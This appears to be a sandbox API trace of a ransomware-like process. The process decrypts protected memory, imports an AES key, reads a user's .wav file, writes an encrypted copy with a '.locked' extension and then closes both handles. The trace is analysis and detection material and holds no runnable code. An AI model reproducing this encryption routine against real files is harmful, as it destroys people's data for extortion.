SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.773] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.773] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.773] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.773] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.773] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.773] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.773] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.774] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.774] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.774] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.774] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.774] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.774] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.774] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.774] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.774] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.774] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.774] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.775] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.775] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.775] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.775] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.775] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.775] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.775] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.775] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.775] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.775] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.775] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.775] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.775] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.775] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.775] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.775] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.776] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.776] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.776] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.776] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.776] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.776] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.777] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e021c8) returned 1 [0134.777] CryptImportKey (in: hProv=0x8e021c8, pbData=0x69bc788, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84b38) returned 1 [0134.777] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.777] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.777] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.777] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.777] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.778] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav")) returned 0x20 [0134.778] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav")) returned 0x20 [0134.778] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.779] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.779] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.779] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.779] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.779] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.779] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.779] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.779] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.779] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.779] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.780] GetFileType (hFile=0x858) returned 0x1 [0134.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.780] GetFileType (hFile=0x858) returned 0x1 [0134.780] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.780] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked", lpFilePart=0x0) returned 0x33 [0134.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.780] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.781] GetFileType (hFile=0x874) returned 0x1 [0134.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.781] GetFileType (hFile=0x874) returned 0x1 [0134.781] CryptGenRandom (in: hProv=0x8e021c8, dwLen=0x10, pbBuffer=0x69d1ac0 | out: pbBuffer=0x69d1ac0) returned 1 [0134.781] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.781] CryptDuplicateKey (in: hKey=0x8e84b38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84e38) returned 1 [0134.781] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.781] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x4, pbData=0x69d2d7c*=0x1, dwFlags=0x0) returned 1 [0134.781] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x1, pbData=0x69d2d48, dwFlags=0x0) returned 1 [0134.781] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf990\x437\x242") returned 0x0 [0134.781] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.781] ReadFile (in: hFile=0x858, lpBuffer=0x69d62d8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69d62d8*, lpNumberOfBytesRead=0x99ae7a8*=0xcc41, lpOverlapped=0x0) returned 1 [0134.782] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69ea2e4*, pdwDataLen=0x99ae79c*=0xcc40, dwBufLen=0xcc40 | out: pbData=0x69ea2e4*, pdwDataLen=0x99ae79c*=0xcc40) returned 1 [0134.782] WriteFile (in: hFile=0x874, lpBuffer=0x69d1b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69d1b80*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.782] WriteFile (in: hFile=0x874, lpBuffer=0x69eb2d0*, nNumberOfBytesToWrite=0xbc54, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69eb2d0*, lpNumberOfBytesWritten=0x99ae780*=0xbc54, lpOverlapped=0x0) returned 1 [0134.783] ReadFile (in: hFile=0x858, lpBuffer=0x69d62d8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69d62d8*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.783] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69f6f48*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69f6f48*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.783] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69f6f7c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69f6f7c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.783] WriteFile (in: hFile=0x874, lpBuffer=0x69d1b80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69d1b80*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.783] CloseHandle (hObject=0x874) returned 1 [0134.785] CloseHandle (hObject=0x858) returned 1 [0134.785] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav", lpFilePart=0x0) returned 0x2c [0134.785] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.785] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 